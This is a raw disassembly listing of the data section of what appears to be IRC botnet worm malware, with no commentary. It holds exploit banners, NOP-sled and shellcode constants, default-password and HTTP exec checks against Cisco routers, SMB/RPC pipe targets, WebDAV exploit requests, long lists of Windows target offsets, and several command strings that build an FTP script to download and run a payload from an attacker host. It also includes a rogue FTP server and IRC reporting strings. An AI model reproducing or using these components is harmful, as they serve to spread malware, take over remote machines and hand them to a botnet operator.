aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B0BB+51o
align 10h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B0BB+35o
align 4
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B3C5+86o
align 4
dword_4328AC dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B3C5+47o
unk_4328B8 db 2Dh ; - ; DATA XREF: sub_40B3C5+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_4328D8 db 2Dh ; - ; DATA XREF: sub_40B494+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_432920 db 2Dh ; - ; DATA XREF: sub_40B4FF+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B553+7Eo
dword_43295C dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B553+40o
dword_43296C dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B553+14o
dd 7473694Ch, 3Ah
unk_432988 db 2Dh ; - ; DATA XREF: sub_40B619+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_4329A8 db 2Dh ; - ; DATA XREF: sub_40B619+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_4329C4 db 2Dh ; - ; DATA XREF: seg000:0040BB2Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_4329F8 db 2Dh ; - ; DATA XREF: seg000:0040BA16o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_432A30 db 2Dh ; - ; DATA XREF: seg000:0040B9B6o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_432A60 db 2Dh ; - ; DATA XREF: seg000:0040B8EFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_432A94 db 2Dh ; - ; DATA XREF: seg000:0040B88Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
dword_432AC8 dd 234032Dh, 70746674h, 2D030264h, 69614620h, 2064656Ch
; DATA XREF: seg000:0040B7C7o
dd 73206F74h, 74726174h, 72657320h, 2C726576h, 72726520h
dd 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 6E616373h, 202D0302h
dd 203A5049h, 202C7325h, 74726F50h, 20642520h, 6F207369h
dd 2E6E6570h, 0
dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 253A7325h
dd 53202C64h, 206E6163h, 65726874h, 203A6461h, 202C6425h
dd 2D627553h, 65726874h, 203A6461h, 2E6425h, 234032Dh
dd 6E616373h, 202D0302h, 696E6946h, 64656873h, 20746120h
dd 253A7325h, 66612064h, 20726574h, 6D206425h, 74756E69h
dd 29732865h, 20666F20h, 6E616373h, 676E696Eh, 2Eh, 234032Dh
dd 6E616373h, 202D0302h, 6C696146h, 74206465h, 7473206Fh
dd 20747261h, 6B726F77h, 74207265h, 61657268h, 65202C64h
dd 726F7272h, 253C203Ah, 2E3E64h, 234032Dh, 6E616373h
dd 202D0302h, 253A7325h, 53202C64h, 206E6163h, 65726874h
dd 203A6461h, 202C6425h, 2D627553h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 6E616373h, 202D0302h, 6C696146h
dd 74206465h, 6E69206Fh, 61697469h, 657A696Ch, 69726320h
dd 61636974h, 6573206Ch, 6F697463h, 2E6Eh, 234032Dh, 6C707865h
dd 274696Fh, 66202D03h, 73696E69h, 20646568h, 6C707865h
dd 6974696Fh, 2520676Eh, 25282073h, 74612064h, 706D6574h
dd 297374h, 234032Dh, 6C707865h, 274696Fh, 74202D03h, 6E697972h
dd 25022067h, 6F200273h, 7325206Eh, 6F702820h, 25207472h
dd 2E2E2964h, 2Eh, 234032Dh, 6E616373h, 202D0302h, 203A5049h
dd 50207325h, 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
unk_432D48 db 2Dh ; - ; DATA XREF: seg000:0040C6D6o
db 3, 34h, 2
db 63h ; c
db 69h, 73h, 63h
db 6Fh ; o
db 28h, 74h, 65h
db 6Ch ; l
db 6Eh, 65h, 74h
db 29h ; )
db 3, 2, 2Dh
aFoundRouterS db ' found router: %s',0
align 10h
aUserAccessVeri db 0Dh,0Ah ; DATA XREF: seg000:0040C6B1o
db 0Dh,0Ah
db 'User Access Verification',0Dh,0Ah
db 0Dh,0Ah
db 'Password',0
align 4
aPass db 0Dh,0Ah ; DATA XREF: seg000:0040C69Ao
db 'Pass',0
align 4
aCisco db 'cisco',0Dh,0 ; DATA XREF: seg000:0040C675o
align 4
unk_432DAC db 2Dh ; - ; DATA XREF: seg000:0040C83Fo
db 3, 34h, 2
db 63h ; c
db 69h, 73h, 63h
db 6Fh ; o
db 28h, 68h, 74h
db 74h ; t
db 70h, 29h, 3
db 2
aFoundRouterS_0 db '- found router: %s',0
aHttp1_0200Ok db 'HTTP/1.0 200 OK',0 ; DATA XREF: seg000:0040C804o
aGetLevel16Exec db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040C7A1o
db 0Ah,0
align 4
dword_432E08 dd 0 ; DATA XREF: sub_40C89B+9Ao
asc_432E0C: ; DATA XREF: sub_40C89B+17o
; sub_40C979+17o
unicode 0, <\\>,0
align 4
off_432E14 dd offset dword_49005C ; DATA XREF: sub_40C89B+Co
; sub_40C979+Co
dd offset aWarshafsky+4
dd 24h
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040CC88o
align 4
aThcownziis db 'THCOWNZIIS!',0 ; DATA XREF: seg000:0040CF5Eo
dword_432E40 dd 0FEBh ; DATA XREF: seg000:0040CF53o
aBling_exe db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40D055+85o
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40D055+42o
db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
align 10h
a7_0 db '7.0',0 ; DATA XREF: seg000:0040D7CFo
a6_0 db '6.0',0 ; DATA XREF: seg000:0040D7BEo
a5_0 db '5.0',0 ; DATA XREF: seg000:0040D7ADo
a4_0 db '4.0',0 ; DATA XREF: seg000:0040D79Co
aHotfix2 db 'hotfix2',0 ; DATA XREF: seg000:loc_40D78Bo
a8_15 db '8.15',0 ; DATA XREF: seg000:loc_40D75Eo
align 10h
a8_14 db '8.14',0 ; DATA XREF: seg000:loc_40D604o
align 4
a8_13 db '8.13',0 ; DATA XREF: seg000:loc_40D5DAo
align 10h
a8_12 db '8.12',0 ; DATA XREF: seg000:loc_40D5B0o
align 4
a8_11 db '8.11',0 ; DATA XREF: seg000:loc_40D583o
align 10h
a8_10 db '8.10',0 ; DATA XREF: seg000:loc_40D556o
align 4
a8_05 db '8.05',0 ; DATA XREF: seg000:loc_40D529o
align 10h
a8_04 db '8.04',0 ; DATA XREF: seg000:loc_40D4FCo
align 4
a8_03 db '8.03',0 ; DATA XREF: seg000:loc_40D4CFo
align 10h
a8_02 db '8.02',0 ; DATA XREF: seg000:loc_40D4A2o
align 4
a8_01 db '8.01',0 ; DATA XREF: seg000:loc_40D475o
align 10h
a8_00 db '8.00',0 ; DATA XREF: seg000:loc_40D448o
align 4
a7_15 db '7.15',0 ; DATA XREF: seg000:loc_40D41Bo
align 10h
a7_14 db '7.14',0 ; DATA XREF: seg000:0040D3EEo
align 4
a7_13 db '7.13',0 ; DATA XREF: seg000:loc_40D3DDo
align 10h
a7_12 db '7.12',0 ; DATA XREF: seg000:loc_40D3B0o
align 4
a7_11 db '7.11',0 ; DATA XREF: seg000:0040D383o
align 10h
a7_10 db '7.10',0 ; DATA XREF: seg000:loc_40D372o
align 4
a7_07 db '7.07',0 ; DATA XREF: seg000:0040D348o
align 10h
a7_06 db '7.06',0 ; DATA XREF: seg000:loc_40D337o
align 4
a7_05 db '7.05',0 ; DATA XREF: seg000:loc_40D30Do
align 10h
a7_04 db '7.04',0 ; DATA XREF: seg000:0040D2DBo
align 4
aImail db 'IMail',0 ; DATA XREF: seg000:0040D2C1o
; seg000:loc_40D7DEo
align 10h
dword_432F80 dd 6EB06EBh, 0 ; DATA XREF: sub_40D7FE+17Ao
; sub_40DDD9+1A2o
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D7FE+27o
; sub_40DDD9+27o ...
align 4
dword_432F94 dd 1CEC8166h ; DATA XREF: sub_40D7FE+Dr
; sub_40DDD9+Dr
dword_432F98 dd 0E4FF07h ; DATA XREF: sub_40D7FE+16r
; sub_40DDD9+16r
aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40E3B2+177o
align 4
aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40E3B2+51o
dword_432FC4 dd 90909090h, 909010EBh, 90909090h, 0 ; DATA XREF: sub_40E3B2+42o
dword_432FD4 dd 90909090h, 5803EB90h, 0F8E805EBh, 0B9FFFFFFh, 0FFFFFFFFh
; DATA XREF: sub_40E3B2+35o
dd 0EE7FE981h, 0C12BFFFFh, 0E0FFh
aAdik db 'ADIK',0 ; DATA XREF: sub_40E3B2+28o
align 4
aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40E3B2+1Co
align 4
dword_433008 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_40E3B2+10o
dd 0FFFFFFFFh, 0
aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: seg000:0040E5D0o
align 10h
aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: seg000:0040E5A9o
align 4
asc_433048: ; DATA XREF: sub_40E971+31Eo
unicode 0, <`>,0
dword_43304C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40E971+2F2o
dword_433058 dd 30h ; DATA XREF: sub_40E971+2C6o
dword_43305C dd 0A1h ; DATA XREF: sub_40E971+29Ao
dword_433060 dd 3 ; DATA XREF: sub_40E971+243o
aCccc db 'CCCC',0 ; DATA XREF: sub_40E971+14Bo
align 4
dword_43306C dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40E971+E0o
dbl_433078 dq 1.388888888888889e-2 ; DATA XREF: sub_40EEBD+3Ar
dbl_433080 dq 1.666666666666667e-1 ; DATA XREF: sub_40EEBD:loc_40EED8r
dbl_433088 dq 4.294967296e9 ; DATA XREF: sub_40EEBD+15r
; sub_40EEBD+30r ...
dbl_433090 dq 1.333333333333333 ; DATA XREF: sub_40F47A:loc_40F4F1r
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40F5F6+63o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: seg000:0040F728o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
aAdmin db 'admin$',0 ; DATA XREF: sub_40F87A+3Do
align 4
asc_433144: ; DATA XREF: sub_40F87A+32o
; seg000:00414B48o
unicode 0, <\>,0
asc_433148 db '\\',0 ; DATA XREF: sub_40F87A+19o
align 4
a8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40FA56+Co
align 4
aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: seg000:0040FB79o
align 4
unk_43319C db 2Dh ; - ; DATA XREF: sub_40FDC3+211o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 62h
db 69h ; i
db 6Fh, 73h, 3
db 2
aExploitingIpSS db '- Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
aNoPassword db '(no password)',0 ; DATA XREF: sub_40FDC3+1EAo
align 4
aSSS_2 db '%s\%s\%s',0 ; DATA XREF: sub_40FDC3+CAo
align 4
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: sub_40FDC3+71o
aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: sub_40FDC3+6Ao
align 4
aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: sub_40FDC3+63o
aSIpc_0 db '%s\ipc$',0 ; DATA XREF: seg000:00410101o
aS_1 db '\\%s',0 ; DATA XREF: seg000:004100C3o
; seg000:0041105Bo
align 4
aSPipeLsarpc db '\\%s\pipe\lsarpc',0 ; DATA XREF: seg000:004105C6o
align 10h
aSIpc_1 db '\\%s\IPC$',0 ; DATA XREF: seg000:00410818o
align 4
aSD_1 db '%s%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aSearchSHttp1_1 db 'SEARCH /%s HTTP/1.1',0Dh,0Ah
db 'Host: %s',0Dh,0Ah
db 'Content-type: text/xml',0Dh,0Ah
db 'Content-Length: ',0
a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah
db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
db '<g:sql>',0Dh,0Ah
db 'Select "DAV:displayname" from scope()',0Dh,0Ah
db '</g:sql>',0Dh,0Ah
db '</g:searchrequest>',0Dh,0Ah,0
aWin2kSp0FromPh db 'Win2K SP0 From PhaTTy 1',0
aWin2kSp1FromPh db 'Win2K SP1 From PhaTTy 2',0
aWin2kSp2FromPh db 'Win2K SP2 From PhaTTy 1',0
aWin2kSp3FromPh db 'Win2K SP3 From PhaTTy 1',0
aWin2kSp4FromPh db 'Win2K SP4 From PhaTTy 3',0
aWin2kSp4From_0 db 'Win2K SP4 From PhaTTy 2',0
aWin2kSp1From_0 db 'Win2K SP1 From PhaTTy 1',0
aWin2kSp4From_1 db 'Win2K SP4 From PhaTTy 1',0
aDosXpAll db 'DoS XP ALL',0
align 4
aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 24',0
align 10h
aWindowsUk2k3_0 db 'Windows uk 2k3 ee sp0 23',0
align 4
aWindowsUk2k3_1 db 'Windows uk 2k3 ee sp0 22',0
align 4
aWindowsUk2k3_2 db 'Windows uk 2k3 ee sp0 21',0
align 4
aWindowsUk2k3_3 db 'Windows uk 2k3 ee sp0 20',0
align 10h
aWindowsUk2k3_4 db 'Windows uk 2k3 ee sp0 19',0
align 4
aWindowsUk2k3_5 db 'Windows uk 2k3 ee sp0 18',0
align 4
aWindowsUk2k3_6 db 'Windows uk 2k3 ee sp0 17',0
align 4
aWindowsUk2k3_7 db 'Windows uk 2k3 ee sp0 16',0
align 10h
aWindowsUk2k3_8 db 'Windows uk 2k3 ee sp0 15',0
align 4
aWindowsUk2k3_9 db 'Windows uk 2k3 ee sp0 14',0
align 4
aWindowsUk2k_10 db 'Windows uk 2k3 ee sp0 13',0
align 4
aWindowsUk2k_11 db 'Windows uk 2k3 ee sp0 12',0
align 10h
aWindowsUk2k_12 db 'Windows uk 2k3 ee sp0 11',0
align 4
aWindowsUk2k_13 db 'Windows uk 2k3 ee sp0 10',0
align 4
aWindowsUk2k_14 db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_15 db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_16 db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_17 db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_18 db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_19 db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_20 db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_21 db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_22 db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 24',0
align 4
aWindowsUk2k_23 db 'Windows uk 2k3 se sp0 23',0
align 4
aWindowsUk2k_24 db 'Windows uk 2k3 se sp0 22',0
align 4
aWindowsUk2k_25 db 'Windows uk 2k3 se sp0 21',0
align 10h
aWindowsUk2k_26 db 'Windows uk 2k3 se sp0 20',0
align 4
aWindowsUk2k_27 db 'Windows uk 2k3 se sp0 19',0
align 4
aWindowsUk2k_28 db 'Windows uk 2k3 se sp0 18',0
align 4
aWindowsUk2k_29 db 'Windows uk 2k3 se sp0 17',0
align 10h
aWindowsUk2k_30 db 'Windows uk 2k3 se sp0 16',0
align 4
aWindowsUk2k_31 db 'Windows uk 2k3 se sp0 15',0
align 4
aWindowsUk2k_32 db 'Windows uk 2k3 se sp0 14',0
align 4
aWindowsUk2k_33 db 'Windows uk 2k3 se sp0 13',0
align 10h
aWindowsUk2k_34 db 'Windows uk 2k3 se sp0 12',0
align 4
aWindowsUk2k_35 db 'Windows uk 2k3 se sp0 11',0
align 4
aWindowsUk2k_36 db 'Windows uk 2k3 se sp0 10',0
align 4
aWindowsUk2k_37 db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_38 db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_39 db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_40 db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_41 db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_42 db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_43 db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_44 db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_45 db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpPro db 'Windows uk xp pro sp1 25',0
align 4
aWindowsUkXpP_0 db 'Windows uk xp pro sp1 24',0
align 4
aWindowsUkXpP_1 db 'Windows uk xp pro sp1 23',0
align 10h
aWindowsUkXpP_2 db 'Windows uk xp pro sp1 22',0
align 4
aWindowsUkXpP_3 db 'Windows uk xp pro sp1 21',0
align 4
aWindowsUkXpP_4 db 'Windows uk xp pro sp1 20',0
align 4
aWindowsUkXpP_5 db 'Windows uk xp pro sp1 19',0
align 10h
aWindowsUkXpP_6 db 'Windows uk xp pro sp1 18',0
align 4
aWindowsUkXpP_7 db 'Windows uk xp pro sp1 17',0
align 4
aWindowsUkXpP_8 db 'Windows uk xp pro sp1 16',0
align 4
aWindowsUkXpP_9 db 'Windows uk xp pro sp1 15',0
align 10h
aWindowsUkXp_10 db 'Windows uk xp pro sp1 14',0
align 4
aWindowsUkXp_11 db 'Windows uk xp pro sp1 13',0
align 4
aWindowsUkXp_12 db 'Windows uk xp pro sp1 12',0
align 4
aWindowsUkXp_13 db 'Windows uk xp pro sp1 11',0
align 10h
aWindowsUkXp_14 db 'Windows uk xp pro sp1 10',0
align 4
aWindowsUkXp_15 db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_16 db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_17 db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_18 db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_19 db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_20 db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_21 db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_22 db 'Windows uk xp pro sp1 2',0
aWindowsUkXp_23 db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg002:004415A8o
aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0
align 10h
aWindowsNlSp123 db 'Windows nl sp1 23',0
align 4
aWindowsNlSp122 db 'Windows nl sp1 22',0
align 4
aWindowsNlSp121 db 'Windows nl sp1 21',0
align 4
aWindowsNlSp120 db 'Windows nl sp1 20',0
align 10h
aWindowsNlSp119 db 'Windows nl sp1 19',0
align 4
aWindowsNlSp118 db 'Windows nl sp1 18',0
align 4
aWindowsNlSp117 db 'Windows nl sp1 17',0
align 4
aWindowsNlSp116 db 'Windows nl sp1 16',0
align 10h
aWindowsNlSp115 db 'Windows nl sp1 15',0
align 4
aWindowsNlSp114 db 'Windows nl sp1 14',0
align 4
aWindowsNlSp113 db 'Windows nl sp1 13',0
align 4
aWindowsNlSp112 db 'Windows nl sp1 12',0
align 10h
aWindowsNlSp111 db 'Windows nl sp1 11',0
align 4
aWindowsNlSp110 db 'Windows nl sp1 10',0
align 4
aWindowsNlSp19 db 'Windows nl sp1 9',0
align 4
aWindowsNlSp18 db 'Windows nl sp1 8',0
align 10h
aWindowsNlSp17 db 'Windows nl sp1 7',0
align 4
aWindowsNlSp16 db 'Windows nl sp1 6',0
align 4
aWindowsNlSp15 db 'Windows nl sp1 5',0
align 4
aWindowsNlSp14 db 'Windows nl sp1 4',0
align 10h
aWindowsNlSp13 db 'Windows nl sp1 3',0
align 4
aWindowsNlSp12 db 'Windows nl sp1 2',0
align 4
aWindowsNlSp11 db 'Windows nl sp1 1',0
align 4
aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg002:00441418o
align 4
aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0
align 4
dword_433DB4 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: seg000:0041118Do
dword_433DC8 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: seg000:00411143o
aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: seg000:004110ECo
align 10h
aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00411682o
; sub_41C9D4+1Fo
aEchoOpenSDOE_1 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 43202D03h
dd 6E65696Ch, 6F632074h, 63656E6Eh, 6E6F6974h, 6F726620h
dd 5049206Dh, 7325203Ah, 2E64253Ah, 0
dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 45202D03h
dd 726F7272h, 6962203Ah, 2928646Eh, 69616620h, 2C64656Ch
dd 74657220h, 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 45202D03h
dd 726F7272h, 6F73203Ah, 74656B63h, 66202928h, 656C6961h
dd 72202C64h, 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 20313232h
dd 646F6F47h, 20657962h, 70706168h, 30722079h, 6E697430h
dd 0A2E67h, 20353234h, 276E6143h, 706F2074h, 64206E65h
dd 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh, 0
dd 234032Dh, 64707466h, 202D0203h, 746E6573h, 6C696620h
dd 6F742065h, 732520h, 20363232h, 6E617254h, 72656673h
dd 6D6F6320h, 74656C70h, 0A2E65h, 234032Dh, 64707466h
dd 202D0203h, 72617473h, 676E6974h, 61727420h, 6566736Eh
dd 6F742072h, 732520h, 20303531h, 6E65704Fh, 20676E69h
dd 414E4942h, 6D205952h, 2065646Fh, 61746164h, 6E6F6320h
dd 7463656Eh, 0A6E6F69h, 0
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 4
aS_8 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 4
a226TransferCom db '226 Transfer complete',0Ah,0
align 10h
aList_0 db 'LIST',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: seg002:00442F58o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: seg002:00442F64o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_1 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_5 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_412135+64Do
align 8
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_412135+61Do
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_412135+58Eo
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_412135:loc_412658o
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_412135+51Co
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_412135+476o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_412135+439o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_412135:loc_412502o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_412135+3C6o
align 4
aSS_3 db '%s%s/',0 ; DATA XREF: sub_412135+379o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+335o
; sub_412135+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_412135+308o
align 4
aS_2 db '<%s>',0 ; DATA XREF: sub_412135+2DEo
; sub_412135+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_412135+2B4o
aAm db 'AM',0 ; DATA XREF: sub_412135+293o
align 4
aPm_0 db 'PM',0 ; DATA XREF: sub_412135+288o
align 4
a__ db '..',0 ; DATA XREF: sub_412135+231o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135:loc_412276o
